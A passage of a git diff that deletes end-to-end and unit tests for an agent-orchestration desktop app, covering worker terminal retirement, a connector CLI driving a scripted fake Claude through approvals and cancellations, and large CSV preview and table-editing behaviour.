tasks.result.tasks.find((candidate) => candidate.id === task.result.task.id) - ?.status ?? null - } - }, - { timeout: 30_000, message: 'worker completion never settled its task and dispatch' } - ) - .toEqual({ dispatch: 'completed', task: 'completed' }) - - await client.call('terminal.send', { - terminal: workerHandle, - text: 'ORCA_E2E_EXIT_AFTER_DONE', - enter: true - }) - await expect - .poll(() => readCompletedWorkerLedger().filter((event) => event.event === 'normal-exit')) - .toHaveLength(1) - // The exit marker precedes the asynchronous renderer recovery update. - await expect - .poll(() => - orcaPage.evaluate( - ({ paneKey, tabId, worktreeId }) => { - const state = window.__store?.getState() - return { - tabPresent: Boolean( - state?.tabsByWorktree[worktreeId]?.some((tab) => tab.id === tabId) - ), - recoveryPresent: Boolean(state?.sleepingAgentSessionsByPaneKey[paneKey]) - } - }, - { paneKey: workerPaneKey, tabId: workerBefore.tabId, worktreeId: targetWorktreeId } - ) - ) - .toEqual({ tabPresent: true, recoveryPresent: true }) - - await orcaPage.evaluate( - ({ paneKey, tabId, worktreeId }) => { - const store = window.__store - if (!store) { - throw new Error('Renderer store unavailable') - } - type Transition = { tabPresent: boolean; recoveryPresent: boolean } - const e2eWindow = window as typeof window & { - __orcaRetiredWorkerTransitions?: Transition[] - __orcaRetiredWorkerUnsubscribe?: () => void - } - const transitions: Transition[] = [ - { - tabPresent: Boolean( - store.getState().tabsByWorktree[worktreeId]?.some((tab) => tab.id === tabId) - ), - recoveryPresent: Boolean(store.getState().sleepingAgentSessionsByPaneKey[paneKey]) - } - ] - e2eWindow.__orcaRetiredWorkerTransitions = transitions - e2eWindow.__orcaRetiredWorkerUnsubscribe = store.subscribe((state) => { - const next = { - tabPresent: Boolean(state.tabsByWorktree[worktreeId]?.some((tab) => tab.id === tabId)), - recoveryPresent: Boolean(state.sleepingAgentSessionsByPaneKey[paneKey]) - } - const previous = transitions.at(-1) - if ( - !previous || - previous.tabPresent !== next.tabPresent || - previous.recoveryPresent !== next.recoveryPresent - ) { - transitions.push(next) - } - }) - }, - { paneKey: workerPaneKey, tabId: workerBefore.tabId, worktreeId: targetWorktreeId } - ) - - if (closeMode === 'terminal-close-cli') { - const closed = runBuiltOrcaCli(['terminal', 'close', '--terminal', workerHandle, '--json'], { - userDataDir, - cwd: process.cwd() - }) - expect(closed).toMatchObject({ - ok: true, - result: { - close: { - handle: workerHandle, - tabId: workerBefore.tabId, - ptyKilled: true - } - } - }) - } else { - const release = await client.call<{ - dispatchId: string - state: string - processAction: string - }>('orchestration.workerRelease', { dispatch: started.result.dispatchId }) - expect(release.result).toMatchObject({ - dispatchId: started.result.dispatchId, - state: 'released', - processAction: 'closed_agent_terminal' - }) - } - await expect - .poll(() => - orcaPage.evaluate(() => { - type Transition = { tabPresent: boolean; recoveryPresent: boolean } - return (window as typeof window & { __orcaRetiredWorkerTransitions?: Transition[] }) - .__orcaRetiredWorkerTransitions - }) - ) - .toEqual( - expect.arrayContaining([ - { tabPresent: true, recoveryPresent: true }, - { tabPresent: false, recoveryPresent: false } - ]) - ) - await orcaPage.evaluate(() => { - const e2eWindow = window as typeof window & { __orcaRetiredWorkerUnsubscribe?: () => void } - e2eWindow.__orcaRetiredWorkerUnsubscribe?.() - delete e2eWindow.__orcaRetiredWorkerUnsubscribe - }) - await expect - .poll(() => - orcaPage.evaluate( - (paneKey) => window.__store?.getState().sleepingAgentSessionsByPaneKey[paneKey] ?? null, - workerPaneKey - ) - ) - .toBeNull() - - await orcaPage.evaluate(() => window.dispatchEvent(new Event('beforeunload'))) - await expect - .poll(() => - orcaPage.evaluate(async (paneKey) => { - const session = await window.api.session.get() - return session.sleepingAgentSessionsByPaneKey?.[paneKey] ?? null - }, workerPaneKey) - ) - .toBeNull() - await orcaPage.evaluate(() => window.api.session.flush()) - expect(readPersistedWorkerRecoveryRecord(userDataDir, workerPaneKey)).toBeNull() - - await orcaPage.reload() - await waitForSessionReady(orcaPage) - - const beforeActivation = await orcaPage.evaluate((worktreeId) => { - const state = window.__store?.getState() - return { - everActivated: state?.everActivatedWorktreeIds.has(worktreeId) ?? false, - tabCount: state?.tabsByWorktree[worktreeId]?.length ?? 0, - pendingStartupCount: Object.keys(state?.pendingStartupByTabId ?? {}).length - } - }, targetWorktreeId) - expect(beforeActivation).toEqual({ everActivated: false, tabCount: 0, pendingStartupCount: 0 }) - - const targetCard = orcaPage - .locator(`[data-worktree-id="${String(targetWorktreeId)}"]`) - .first() - .locator('[data-worktree-card-surface]') - await targetCard.evaluate((element: HTMLElement) => element.click()) - await expect - .poll(() => orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId)) - .toBe(targetWorktreeId) - await waitForActiveTerminalManager(orcaPage) - await waitForActivePanePtyId(orcaPage) - const activatedPane = await waitForActivePaneHookDescriptor(orcaPage) - expect(activatedPane.worktreeId).toBe(targetWorktreeId) - const activatedResolved = await client.call<{ terminal: { handle: string } }>( - 'terminal.resolvePane', - { paneKey: activatedPane.paneKey } - ) - await expect - .poll( - async () => { - const read = await client.call<{ terminal: RuntimeTerminalRead }>('terminal.read', { - terminal: activatedResolved.result.terminal.handle, - limit: 50 - }) - return read.result.terminal.tail.join('\n') - }, - { timeout: 30_000, message: 'activated fallback terminal never produced output' } - ) - .not.toBe('') - - const spawnEvents = readCompletedWorkerLedger().filter((event) => event.event === 'spawn') - expect(spawnEvents).toHaveLength(1) - expect( - spawnEvents.filter( - (event) => event.args?.includes('resume') && event.args?.includes(PROVIDER_SESSION_ID) - ) - ).toEqual([]) - await expect(orcaPage.locator('.session-restored-banner')).toHaveCount(0) - - const afterActivation = await orcaPage.evaluate( - ({ originalTabId, worktreeId }) => { - const state = window.__store?.getState() - const tabs = state?.tabsByWorktree[worktreeId] ?? [] - return { - everActivated: state?.everActivatedWorktreeIds.has(worktreeId) ?? false, - originalTabPresent: tabs.some((tab) => tab.id === originalTabId), - replacementTabCount: tabs.filter((tab) => tab.id !== originalTabId).length, - pendingResumeSessionIds: Object.values(state?.pendingStartupByTabId ?? {}).flatMap( - (startup) => (startup.resumeProviderSession ? [startup.resumeProviderSession.id] : []) - ), - resumeClaimCount: Object.keys(state?.automaticAgentResumeClaimsByTabId ?? {}).length - } - }, - { originalTabId: workerBefore.tabId, worktreeId: targetWorktreeId } - ) - expect(afterActivation).toEqual({ - everActivated: true, - originalTabPresent: false, - replacementTabCount: 1, - pendingResumeSessionIds: [], - resumeClaimCount: 0 - }) - - const coordinatorAfter = (await listRuntimeTerminals(client)).find( - (terminal) => terminal.handle === coordinatorHandle - ) - expect(coordinatorAfter ? terminalIdentity(coordinatorAfter) : null).toEqual(coordinatorBefore) - expect(coordinatorAfter?.worktreeId).toBe(coordinatorWorktreeId) - }) -} diff --git a/tests/e2e/connector-headless-serve.spec.ts b/tests/e2e/connector-headless-serve.spec.ts deleted file mode 100644 index c6c3a193d4a..00000000000 --- a/tests/e2e/connector-headless-serve.spec.ts +++ /dev/null @@ -1,319 +0,0 @@ -// Drives the hidden `orca connector` CLI end to end against a real headless serve host and a scripted Claude. -import { mkdtempSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { z } from 'zod' -import { expect, test } from './helpers/orca-app' -import { orcaCliResult, runCompiledOrcaCli } from './helpers/compiled-orca-cli' -import { - launchHeadlessPairedRuntimeHost, - type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' -import { - FAKE_CLAUDE_KEEPS_WORKING, - FAKE_CLAUDE_NEEDS_APPROVAL, - writeFakeClaude, - type FakeClaude -} from './helpers/connector-fake-claude' -import Database from '../../src/main/sqlite/sync-database' -import type { RuntimeWorktreePsSummary } from '../../src/shared/worktree/catalog/runtime-worktree-contracts' - -test.skip(process.platform === 'win32', 'the scripted Claude runs its hooks through sh') - -const PromptRead = z.object({ - prompt: z - .object({ - kind: z.string(), - promptId: z.string(), - tool: z.string().optional(), - summary: z.string().optional() - }) - .nullable() -}) -const WatchRead = z.object({ - snapshot: z.object({ conversations: z.array(z.object({ working: z.boolean() })) }), - events: z.array( - z.object({ - kind: z.string(), - stopReason: z.string().nullable().optional(), - lastAssistantMessage: z.string().optional() - }) - ) -}) - -const connectorCli = (userDataDir: string, args: string[], timeoutMs?: number) => - orcaCliResult(userDataDir, ['connector', ...args], timeoutMs) - -/** A command the host refuses; returns its error code. */ -async function refusedCode(userDataDir: string, args: string[]): Promise { - const run = await runCompiledOrcaCli(userDataDir, ['connector', ...args, '--json']) - return run.json?.error?.code -} - -function conversationCli(userDataDir: string, conversation: string) { - const call = (args: string[]) => connectorCli(userDataDir, args) - const on = ['--conversation', conversation] - return { - start: async (deliveryId: string, prompt: string, worktree: string) => - z - .object({ initial: z.unknown() }) - .parse( - await call([ - 'start', - ...on, - '--delivery-id', - deliveryId, - '--agent', - 'claude', - '--prompt', - prompt, - '--worktree', - worktree - ]) - ).initial, - send: (deliveryId: string, text: string) => - call(['send', ...on, '--delivery-id', deliveryId, '--text', text]), - prompt: async () => PromptRead.parse(await call(['prompt', ...on])).prompt, - answer: (promptId: string, option: string) => - call(['answer', ...on, '--prompt-id', promptId, '--option', option]), - cancel: (deliveryId: string) => call(['cancel', ...on, '--delivery-id', deliveryId]), - /** The host's own read of whether the agent is mid-turn, from a zero-length watch's snapshot. */ - working: async () => - WatchRead.parse(await call(['watch', '--for-ms', '0'])).snapshot.conversations.some( - (linked) => linked.working - ) - } -} - -/** Receipt state for one delivery id, read from the host's orchestration ledger. */ -function receiptState( - userDataDir: string, - conversation: string, - deliveryId: string -): string | null { - const db = new Database(path.join(userDataDir, 'orchestration.db'), { readonly: true }) - try { - const row = db - .prepare( - 'SELECT state FROM mutation_receipts WHERE caller_fingerprint = ? AND request_id = ?' - ) - .get('connector:dev', JSON.stringify([conversation, deliveryId])) - return z.object({ state: z.string() }).optional().parse(row)?.state ?? null - } finally { - db.close() - } -} - -function turns(claude: FakeClaude): string[] { - return claude.ledger().flatMap((line) => (line.startsWith('turn:') ? [line.slice(5)] : [])) -} - -async function openWorkspace(host: HeadlessPairedRuntimeHost, repoPath: string): Promise { - await host.client.call('repo.add', { path: repoPath, kind: 'git' }) - let worktreeId = '' - await expect - .poll(async () => { - const listed = await host.client.call<{ worktrees: RuntimeWorktreePsSummary[] }>( - 'worktree.ps', - { limit: 1_000 } - ) - worktreeId = listed.result.worktrees.find((row) => row.path === repoPath)?.worktreeId ?? '' - return worktreeId - }) - .not.toBe('') - return `id:${worktreeId}` -} - -/** Polls until the conversation's agent asks for approval, and returns that prompt id. */ -async function waitForApproval(cli: ReturnType): Promise { - let promptId = '' - await expect - .poll( - async () => { - const prompt = await cli.prompt() - promptId = prompt?.promptId ?? '' - return prompt && { kind: prompt.kind, tool: prompt.tool, summary: prompt.summary } - }, - { timeout: 20_000 } - ) - .toEqual({ kind: 'approval', tool: 'Bash', summary: 'touch approved.txt' }) - return promptId -} - -test('a connector conversation runs end to end on a headless serve host', async ({ - testRepoPath -}) => { - // Two serve launches (the restart) plus about thirty CLI round trips. - test.setTimeout(240_000) - const fakeDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-connector-')) - const claude = writeFakeClaude(fakeDir) - const host = await launchHeadlessPairedRuntimeHost({ pinnedServePort: true }) - const { userDataDir } = host - const c1 = conversationCli(userDataDir, 'c1') - /** What the agent read since a ledger mark, joined across PTY chunk boundaries, and what it did. */ - const since = (mark: number) => { - const lines = claude.ledger().slice(mark) - const keys = lines.filter((line) => line.startsWith('keys:')) - return { - typed: keys.map((line) => JSON.parse(line.slice('keys:'.length))).join(''), - did: lines.filter((line) => !line.startsWith('keys:')) - } - } - const nothing = { typed: '', did: [] } - try { - await host.client.call('settings.mutateAgentLaunch', { - type: 'command', - agent: 'claude', - value: claude.command - }) - expect(await refusedCode(userDataDir, ['prompt', '--conversation', 'c1'])).toBe( - 'connectors_disabled' - ) - await host.client.call('settings.update', { experimentalConnectors: true }) - // Disabling connectors ends the window, so the watch returns everything seen until then. - // A plain run, not an asserting one: it stays outstanding while later steps may fail first. - const watching = runCompiledOrcaCli( - userDataDir, - ['connector', 'watch', '--for-ms', '600000', '--json'], - 660_000 - ) - const worktree = await openWorkspace(host, testRepoPath) - - // Start, then a retried delivery that must not type again. - expect(await c1.start('d1', 'hello', worktree)).toEqual({ outcome: 'accepted' }) - await expect.poll(() => turns(claude)).toEqual(['hello']) - expect(await c1.start('d1', 'hello', worktree)).toEqual({ outcome: 'accepted' }) - expect(await c1.send('d1', 'other payload')).toEqual({ - outcome: 'refused', - reason: 'delivery_id_reused' - }) - - // Follow-up, and its duplicate delivery. - expect(await c1.send('d2', 'second')).toEqual({ outcome: 'accepted' }) - await expect.poll(() => turns(claude)).toEqual(['hello', 'second']) - expect(await c1.send('d2', 'second')).toEqual({ outcome: 'accepted' }) - - // An approval reads back, and a follow-up waits behind it until it is answered. - expect(await c1.send('d3', `run it ${FAKE_CLAUDE_NEEDS_APPROVAL}`)).toEqual({ - outcome: 'accepted' - }) - const promptId = await waitForApproval(c1) - const beforeHeld = claude.ledger().length - const held = c1.send('d4', 'after approval') - await expect.poll(() => receiptState(userDataDir, 'c1', 'd4')).toBe('pending') - expect(since(beforeHeld)).toEqual(nothing) - expect(await c1.answer('p_not_this_one', 'allow_once')).toEqual({ - outcome: 'refused', - reason: 'prompt_not_pending' - }) - expect(await c1.answer(promptId, 'allow_always')).toEqual({ - outcome: 'refused', - reason: 'option_not_offered' - }) - expect(await c1.answer(promptId, 'allow_once')).toEqual({ outcome: 'accepted' }) - expect(await held).toEqual({ outcome: 'accepted' }) - await expect - .poll(() => since(beforeHeld)) - .toEqual({ - typed: '1\x1b[200~after approval\x1b[201~\r', - did: ['approved', 'turn:after approval'] - }) - expect(await c1.answer(promptId, 'allow_once')).toEqual({ - outcome: 'refused', - reason: 'prompt_not_pending' - }) - - // Cancel while idle types nothing. - await expect.poll(() => c1.working()).toBe(false) - const beforeIdleCancel = claude.ledger().length - expect(await c1.cancel('k1')).toEqual({ outcome: 'accepted' }) - expect(since(beforeIdleCancel)).toEqual(nothing) - - // Cancel while working sends one Escape, and the host settles the turn as cancelled. - expect(await c1.send('d5', `long job ${FAKE_CLAUDE_KEEPS_WORKING}`)).toEqual({ - outcome: 'accepted' - }) - await expect.poll(() => turns(claude).at(-1)).toBe(`long job ${FAKE_CLAUDE_KEEPS_WORKING}`) - const beforeBusyCancel = claude.ledger().length - expect(await c1.cancel('k2')).toEqual({ outcome: 'accepted' }) - await expect - .poll(() => since(beforeBusyCancel)) - .toEqual({ typed: '\x1b', did: ['interrupted'] }) - await expect.poll(() => c1.working()).toBe(false) - - // Cancel during an approval rejects it and drops the follow-up held behind it. - expect(await c1.send('d6', `again ${FAKE_CLAUDE_NEEDS_APPROVAL}`)).toEqual({ - outcome: 'accepted' - }) - await waitForApproval(c1) - const beforeReject = claude.ledger().length - const dropped = c1.send('d7', 'never typed') - await expect.poll(() => receiptState(userDataDir, 'c1', 'd7')).toBe('pending') - expect(await c1.cancel('k3')).toEqual({ outcome: 'accepted' }) - expect(await dropped).toEqual({ outcome: 'refused', reason: 'conversation_cancelled' }) - await expect.poll(() => since(beforeReject)).toEqual({ typed: '\x1b', did: ['rejected'] }) - expect(await c1.prompt()).toBeNull() - - await host.client.call('settings.update', { experimentalConnectors: false }) - const watched = await watching - expect(watched.code, watched.stdout + watched.stderr).toBe(0) - const { snapshot, events } = WatchRead.parse(watched.json?.result) - // Subscribing precedes the snapshot, so an empty one proves no event before the start was missed. - expect(snapshot.conversations).toEqual([]) - expect( - events.map((event) => - event.kind === 'turn-ended' - ? `${event.kind}:${event.lastAssistantMessage ?? ''}:${event.stopReason ?? ''}` - : event.kind - ) - ).toEqual([ - 'linked', - 'turn-started', - 'turn-ended:REPLY hello:', - 'turn-started', - 'turn-ended:REPLY second:', - 'turn-started', - 'prompt', - 'turn-ended:APPROVED:', - 'turn-started', - 'turn-ended:REPLY after approval:', - 'turn-started', - 'turn-ended::cancellation', - 'turn-started', - 'prompt', - 'turn-ended::cancellation' - ]) - expect( - await refusedCode(userDataDir, ['cancel', '--conversation', 'c1', '--delivery-id', 'k4']) - ).toBe('connectors_disabled') - - // A delivery still held when the host stops reads unknown after restart, never redelivered. - await host.client.call('settings.update', { experimentalConnectors: true }) - expect(await c1.send('d8', `third ${FAKE_CLAUDE_NEEDS_APPROVAL}`)).toEqual({ - outcome: 'accepted' - }) - await waitForApproval(c1) - // The CLI's own call dies with the host; only the host's receipt matters here. - const interrupted = runCompiledOrcaCli(userDataDir, [ - 'connector', - 'send', - '--conversation', - 'c1', - '--delivery-id', - 'd9', - '--text', - 'held over restart' - ]) - await expect.poll(() => receiptState(userDataDir, 'c1', 'd9')).toBe('pending') - await host.restartServeProcess() - await interrupted - expect(await c1.send('d9', 'held over restart')).toEqual({ - outcome: 'unknown', - reason: 'replayed_after_restart' - }) - expect(turns(claude)).not.toContain('held over restart') - } finally { - await host.dispose() - rmSync(fakeDir, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/crew-recipient-real-command.unit.test.ts b/tests/e2e/crew-recipient-real-command.unit.test.ts deleted file mode 100644 index 844cc4e0c1d..00000000000 --- a/tests/e2e/crew-recipient-real-command.unit.test.ts +++ /dev/null @@ -1,120 +0,0 @@ -import { retireAgentSessionRecordStore } from '../../src/main/runtime/agent-session/records/agent-session-record-store-slot' -import { openTestAgentSessionRecordStoreSlot } from '../../src/main/runtime/agent-session/records/agent-session-record-store-test-harness' -import { createStructuredAgentSessionLogger } from '../../src/main/native-chat/agent-session-wire/host/structured-agent-session-logger' -import { ORCHESTRATION_CREW_METHODS } from '../../src/main/runtime/rpc/methods/orchestration/crew-methods' -import { - CrewFrame, - type OrchestrationCrewFrame -} from '../../src/shared/orchestration/orchestration-crew' -import { mkdtempSync } from 'node:fs' -import { join } from 'node:path' -import { tmpdir } from 'node:os' -import * as profileStorage from '../../src/main/orca-profiles/profile-storage-paths' -import { randomUUID } from 'node:crypto' - -import { afterEach, expect, it, vi } from 'vitest' - -import { createSessionCallerHarness } from '../../src/main/runtime/rpc/orchestration/callers/session.test-fixture' - -const hostRef = vi.hoisted((): { current: unknown } => ({ current: null })) -vi.mock( - '../../src/main/native-chat/agent-session-wire/host/structured-agent-session-registry', - () => ({ - getStructuredAgentSessionHost: () => hostRef.current - }) -) -afterEach(async () => { - await retireAgentSessionRecordStore(async (opened) => { - await opened?.journalDatabase.close() - }) - vi.restoreAllMocks() - vi.unstubAllEnvs() -}) - -it('publishes a restored session peer in the first completed Crew frame', async () => { - const fixtureNow = 1_700_000_000_000 - const directory = mkdtempSync(join(tmpdir(), 'orca-restored-crew-')) - const profilePath = vi.spyOn(profileStorage, 'getProfileUserDataPath').mockReturnValue(directory) - const h = createSessionCallerHarness({ current: null }) - hostRef.current = null - const ids = Array.from({ length: 3 }, () => randomUUID()) - const controller = new AbortController() - let subscription: Promise | undefined - try { - const openSlot = () => - openTestAgentSessionRecordStoreSlot({ - stateDirectory: directory, - hostId: 'local', - legacySessionTabIds: [], - logger: createStructuredAgentSessionLogger() - }) - await openSlot() - const seed = await h.runtime.openAgentSessionRecordStore() - for (const [i, sessionId] of ids.entries()) { - await seed.founding.commit({ - sessionId, - location: { - executionHostId: 'local', - wslDistro: null, - workspaceId: 'folder-worker-host', - workspaceKind: 'folder' - }, - provider: 'codex', - accountHome: { variable: 'CODEX_HOME', path: '/unused-private-fixture-account-home' }, - surfaceTabId: `tab_saved_${i}`, - expectedFence: null, - spawnToken: 'unused-at-rest', - claimKeyId: 'private-cold-claim', - handoffOperationId: null, - probe: { outcome: 'indeterminate', reason: 'at-rest creation starts no process' }, - operation: { - callerKey: 'private-cold', - operationId: `${fixtureNow}-${randomUUID().replaceAll('-', '')}`, - fingerprint: `found:${sessionId}` - }, - now: fixtureNow - }) - } - await retireAgentSessionRecordStore(async (opened) => { - if (!opened) { - throw new Error('Expected fixture-owned seeded slot') - } - await opened.journalDatabase.close() - }) - await openSlot() - h.db.insertMessage({ - from: `orca_session_id:${ids[1]}`, - to: `orca_session_id:${ids[0]}`, - subject: 'saved peer', - body: 'cold L' - }) - const received: OrchestrationCrewFrame[] = [] - const completed = Promise.withResolvers() - subscription = ORCHESTRATION_CREW_METHODS[0].handler( - { party: `orca_session_id:${ids[0]}` }, - { runtime: h.runtime, signal: controller.signal }, - (value) => { - const frame = CrewFrame.parse(value) - received.push(frame) - if (frame.type === 'complete') { - completed.resolve() - } - } - ) - await completed.promise - expect(received[0]).toEqual({ type: 'begin', status: 'ok' }) - expect( - received - .flatMap((frame) => (frame.type === 'rows' ? frame.rows : [])) - .find((row) => row.latest?.preview === 'cold L')?.sendAddress - ).toBe(`orca_session_id:${ids[1]}`) - } finally { - controller.abort() - await subscription - await retireAgentSessionRecordStore(async (opened) => { - await opened?.journalDatabase.close() - }) - h.close() - profilePath.mockRestore() - } -}) diff --git a/tests/e2e/csv-paged-preview.spec.ts b/tests/e2e/csv-paged-preview.spec.ts deleted file mode 100644 index 0dd4fcf7edb..00000000000 --- a/tests/e2e/csv-paged-preview.spec.ts +++ /dev/null @@ -1,216 +0,0 @@ -import { closeSync, openSync, readFileSync, statSync, writeSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' - -test.use({ - orcaAppExtraArgs: [ - '--enable-precise-memory-info', - ...(process.env.ORCA_CSV_CDP_PORT - ? [`--remote-debugging-port=${process.env.ORCA_CSV_CDP_PORT}`] - : []) - ] -}) - -test('CSV preview bounds memory and DOM size, resizes columns and reaches the final row', async ({ - orcaPage, - seededRepoPath, - electronApp -}, testInfo) => { - test.setTimeout(120_000) - const totalRows = 1_900_100 - const tallName = 'large-preview.csv' - const wideName = 'wide-preview.csv' - const tallPath = path.join(seededRepoPath, tallName) - const widePath = path.join(seededRepoPath, wideName) - const handle = openSync(tallPath, 'w') - try { - writeSync(handle, 'id,label,a,b,c,d,e,f\n') - for (let first = 0; first < totalRows; first += 16_384) { - const count = Math.min(16_384, totalRows - first) - writeSync( - handle, - Array.from( - { length: count }, - (_, offset) => - `${String(first + offset).padStart(7, '0')},record-${first + offset},xxxxxxxxxxxx,alpha,beta,gamma,delta,omega\n` - ).join('') - ) - } - } finally { - closeSync(handle) - } - const wideHeader = Array.from({ length: 2048 }, (_, index) => `column-${index}`).join(';') - const wideRow = Array.from({ length: 2048 }, (_, index) => `value-${index}`).join(';') - writeFileSync(widePath, `${wideHeader}\n${`${wideRow}\n`.repeat(100)}`) - const openFile = async (name: string): Promise => { - await orcaPage.evaluate( - ({ name, filePath }) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Missing CSV fixture worktree') - } - state.openFile({ - filePath, - relativePath: name, - worktreeId: state.activeWorktreeId, - language: 'plaintext', - mode: 'edit' - }) - }, - { name, filePath: path.join(seededRepoPath, name) } - ) - } - const cdp = await orcaPage.context().newCDPSession(orcaPage) - const sampleHeap = async (): Promise => { - await cdp.send('HeapProfiler.collectGarbage') - return (await cdp.send('Runtime.getHeapUsage')).usedSize - } - const baseline = await sampleHeap() - const start = Date.now() - await openFile(tallName) - const table = orcaPage.getByRole('table') - await expect(table).toHaveAttribute('aria-rowcount', String(totalRows + 1), { timeout: 60_000 }) - await expect(orcaPage.getByText('Large file preview · Read-only')).toBeVisible() - await expect(orcaPage.getByRole('cell', { name: '0000000', exact: true })).toBeVisible() - const indexMs = Date.now() - start - for (let window = 0; window < 3; window += 1) { - await orcaPage.getByRole('button', { name: 'Next rows' }).click() - } - await orcaPage.getByTestId('csv-scroll').evaluate((element) => { - element.scrollTop = element.scrollHeight - }) - await expect( - orcaPage.getByRole('cell', { name: String(totalRows - 1), exact: true }) - ).toBeVisible() - expect(await table.getByRole('row').count()).toBeLessThan(100) - const retained = await sampleHeap() - expect(retained - baseline).toBeLessThan(70 * 1024 * 1024) - const sizeBefore = statSync(tallPath).size - const saveBlocked = await orcaPage.evaluate(async () => { - const file = window.__store - ?.getState() - .openFiles.find((candidate) => candidate.filePath.endsWith('large-preview.csv')) - if (!file?.csvPreviewOnly) { - throw new Error('CSV save guard was not installed') - } - return new Promise((resolve) => - window.dispatchEvent( - new CustomEvent('orca:editor-save-file', { - detail: { - fileId: file.id, - fallbackContent: '', - claim: () => {}, - resolve: () => resolve(false), - reject: () => resolve(true) - } - }) - ) - ) - }) - expect(saveBlocked).toBe(true) - expect(statSync(tallPath).size).toBe(sizeBefore) - await orcaPage.screenshot({ path: testInfo.outputPath('large-final-row.png') }) - - await openFile(wideName) - await expect(orcaPage.getByRole('table')).toHaveAttribute('aria-colcount', '2049') - await expect(orcaPage.getByRole('cell', { name: 'value-0', exact: true }).first()).toBeVisible() - expect(await table.getByRole('columnheader').count()).toBeLessThan(30) - expect(await table.getByRole('cell').count()).toBeLessThan(2000) - const separator = orcaPage.getByRole('separator', { name: 'Resize column 1', exact: true }) - const width = Number(await separator.getAttribute('aria-valuenow')) - await separator.dispatchEvent('keydown', { key: 'ArrowRight', shiftKey: true }) - await expect(separator).toHaveAttribute('aria-valuenow', String(width + 40)) - const handleBox = await separator.boundingBox() - if (!handleBox) { - throw new Error('Missing resize handle') - } - await separator.dispatchEvent('pointerdown', { pointerId: 1, button: 0, clientX: handleBox.x }) - await separator.dispatchEvent('pointermove', { pointerId: 1, clientX: handleBox.x + 60 }) - await separator.dispatchEvent('pointerup', { pointerId: 1, clientX: handleBox.x + 60 }) - await expect(separator).toHaveAttribute('aria-valuenow', String(width + 100)) - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - const file = state?.openFiles.find((file) => file.filePath.endsWith('wide-preview.csv')) - if (!state || !file) { - throw new Error('Missing wide preview tab') - } - state.closeFile(file.id) - }) - await openFile(wideName) - await expect(separator).toHaveAttribute('aria-valuenow', String(width + 100)) - await expect(orcaPage.getByRole('button', { name: 'Edit cell', exact: true })).toHaveCount(0) - await orcaPage.getByTestId('csv-scroll').evaluate((element) => { - element.scrollLeft = element.scrollWidth - }) - await expect( - orcaPage.getByRole('cell', { name: 'value-2047', exact: true }).first() - ).toBeVisible() - expect(await table.getByRole('columnheader').count()).toBeLessThan(30) - await orcaPage.screenshot({ path: testInfo.outputPath('wide-final-column.png') }) - if ( - process.env.ORCA_E2E_FORCE_HEADFUL !== '1' && - testInfo.project.metadata.orcaHeadful !== true - ) { - const windowsVisible = await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().some((window) => window.isVisible()) - ) - expect(windowsVisible).toBe(false) - } - const observations = { - bytes: sizeBefore, - rows: totalRows, - indexMs, - rendererHeapDeltaMiB: (retained - baseline) / 1024 / 1024, - renderedRows: await table.getByRole('row').count(), - renderedColumns: await table.getByRole('columnheader').count(), - wideBytes: readFileSync(widePath).length - } - writeFileSync(testInfo.outputPath('csv-measurements.json'), JSON.stringify(observations, null, 2)) -}) - -test('paged previews accept a maximum-size record with a BOM and CRLF', async ({ - orcaPage, - seededRepoPath, - electronApp -}, testInfo) => { - const name = 'record-boundary.csv' - const filePath = path.join(seededRepoPath, name) - const recordBytes = 1024 * 1024 - writeFileSync(filePath, `\ufeff${'x'.repeat(recordBytes)}\r\ntail\r\n`) - await orcaPage.evaluate( - ({ name, filePath }) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Missing CSV boundary workspace') - } - state.openFile({ - filePath, - relativePath: name, - worktreeId: state.activeWorktreeId, - language: 'plaintext', - mode: 'edit' - }) - }, - { name, filePath } - ) - await expect(orcaPage.getByRole('table')).toHaveAttribute('aria-rowcount', '2', { - timeout: 30_000 - }) - await expect(orcaPage.getByRole('cell', { name: 'tail', exact: true })).toBeVisible() - expect( - await orcaPage - .getByRole('columnheader') - .nth(1) - .evaluate((element) => element.textContent?.length) - ).toBe(recordBytes) - if ( - process.env.ORCA_E2E_FORCE_HEADFUL !== '1' && - testInfo.project.metadata.orcaHeadful !== true - ) { - expect( - await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().some((window) => window.isVisible()) - ) - ).toBe(false) - } -}) diff --git a/tests/e2e/csv-table-editing.spec.ts b/tests/e2e/csv-table-editing.spec.ts deleted file mode 100644 index 1c1710a649d..00000000000 --- a/tests/e2e/csv-table-editing.spec.ts +++ /dev/null @@ -1,329 +0,0 @@ -import { readFileSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' - -test.use({ - orcaAppExtraArgs: process.env.ORCA_CSV_CDP_PORT - ? [`--remote-debugging-port=${process.env.ORCA_CSV_CDP_PORT}`] - : [] -}) - -test('CSV table edits, inspection, clipboard and widths survive save and view switches', async ({ - orcaPage, - seededRepoPath, - electronApp -}, testInfo) => { - const name = 'csv-table-editing.csv' - const filePath = path.join(seededRepoPath, name) - const original = - '\ufeffName,Score,Description\r\nBeta,2,"Original text"\r\nAlpha,10,Second record\r\n' - writeFileSync(filePath, original) - await orcaPage.evaluate( - async ({ filePath, name }) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Missing CSV workspace') - } - await state.updateSettings({ editorAutoSave: false }) - state.openFile( - { - filePath, - relativePath: name, - worktreeId: state.activeWorktreeId, - language: 'plaintext', - mode: 'edit' - }, - { preview: false } - ) - }, - { filePath, name } - ) - const grid = orcaPage.getByTestId('csv-grid') - await expect(grid).toHaveAttribute('role', 'grid') - await orcaPage.screenshot({ path: testInfo.outputPath('csv-editable-before-interaction.png') }) - const beta = grid.getByRole('gridcell', { name: 'Beta', exact: true }) - await beta.dblclick() - const input = orcaPage.getByRole('textbox', { name: /Edit row/ }) - await input.fill('Cancelled') - await input.press('Escape') - await expect(beta).toBeVisible() - await expect - .poll(() => - orcaPage.evaluate(() => - Object.values(window.__store?.getState().editorDrafts ?? {}).some((draft) => - 